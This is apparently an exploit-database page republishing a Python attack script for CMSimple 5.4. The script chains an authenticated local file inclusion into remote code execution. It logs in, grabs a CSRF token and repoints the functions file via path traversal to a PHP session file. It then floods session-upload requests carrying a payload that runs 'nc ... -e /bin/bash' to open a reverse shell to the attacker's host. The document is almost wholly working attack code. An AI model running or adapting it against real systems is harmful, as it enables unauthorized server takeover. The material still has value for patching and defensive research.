Share
## https://sploitus.com/exploit?id=PACKETSTORM:165064
# Exploit Title: CMSimple 5.4 - Local file inclusion (LFI) to Remote code execution (RCE) (Authenticated)  
# Date: 11/15/2021  
# Exploit Author: S1lv3r  
# Vendor Homepage: https://www.cmsimple.org/en/  
# Software Link: https://www.cmsimple.org/en/  
# Version: CMSimple 5.4  
# Tested on: CMSimple 5.4  
  
# writeup:  
# https://github.com/iiSiLvEr/CMSimple5.4-Vulnerabilities  
  
#!/usr/bin/python3  
import requests  
import threading  
import datetime  
import sys  
from bs4 import BeautifulSoup  
  
  
x = datetime.datetime.now()  
addSeconds = datetime.timedelta(0, 10)  
Time = x + addSeconds  
  
proxies = {"http": "http://127.0.0.1:8080","https": "https://127.0.0.1:8080",}  
def Login():  
try:  
global Time  
s = requests.Session()  
headers= {"Content-Type": "application/x-www-form-urlencoded"}  
  
data = f'login=true&selected=Welcome_to_CMSimple_5&User={User}&passwd={Password}&submit=Login'  
  
response = s.post(RHOST, data=data, headers=headers, verify=False)#, proxies=proxies  
if response.cookies['passwd']:  
print("(+) Sucessfully Logged In With " + User + ":" + Password)  
  
cookies = response.cookies  
params = (('file', 'config'),('action', 'array'),)  
response = s.get(RHOST ,cookies=cookies ,params=params,verify=False)  
soup = BeautifulSoup(response.text, 'lxml')  
CsrfValue = soup.find('input',attrs = {'name':'csrf_token'})['value']  
print("(+) Get CSRF Token : [ " + CsrfValue + " ]")  
data = f'csrf_token={CsrfValue}&functions_file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fphp%2Fsessions%2Fsess_S1lv3r&form=array&file=config&action=save'  
response = s.post(RHOST, headers=headers, cookies=cookies, data=data, verify=False)  
print("(+) Changing Functions file Done ")  
print("(+) Check Your nc listner on " + LPORT)  
except Exception as error:  
print("Error, Exiting;( ")  
print(error)  
pass  
def fuzz():  
while True:  
try:  
sessionName = "S1lv3r"  
cookies = {'PHPSESSID': sessionName}  
files = {'PHP_SESSION_UPLOAD_PROGRESS':(None,  
'<?php passthru("nc '+ LHOST +' '+ LPORT + ' -e /bin/bash");?>'),  
'file': ('Anything', 'S1lv3r'*100, 'application/octet-stream')}  
x = requests.post(RHOST, files=files, cookies=cookies, verify=False)#, proxies=proxies  
except Exception as error:  
print(error)  
exit()  
def main():  
print("\n(+) CMSimple LFI to RCE \n")  
Login()  
threads = []  
for _ in range(20):  
t = threading.Thread(target=fuzz)  
t.start()  
threads.append(t)  
for thread in threads:  
thread.join  
  
if __name__ == "__main__":  
  
if len(sys.argv) <= 5:  
print("\n(-) Usage: {} <RHOST> <LHOST> <LPORT> <USER> <PASS>".format(sys.argv[0]))  
print("(-) eg: {} https://xyz.xyz 192.168.1.15 1337 ".format(sys.argv[0]))  
print("\n(=) SiLvEr \n")  
exit()   
else:  
RHOST = sys.argv[1]  
LHOST = sys.argv[2]  
LPORT = sys.argv[3]  
User = sys.argv[4]  
Password = sys.argv[5]  
main()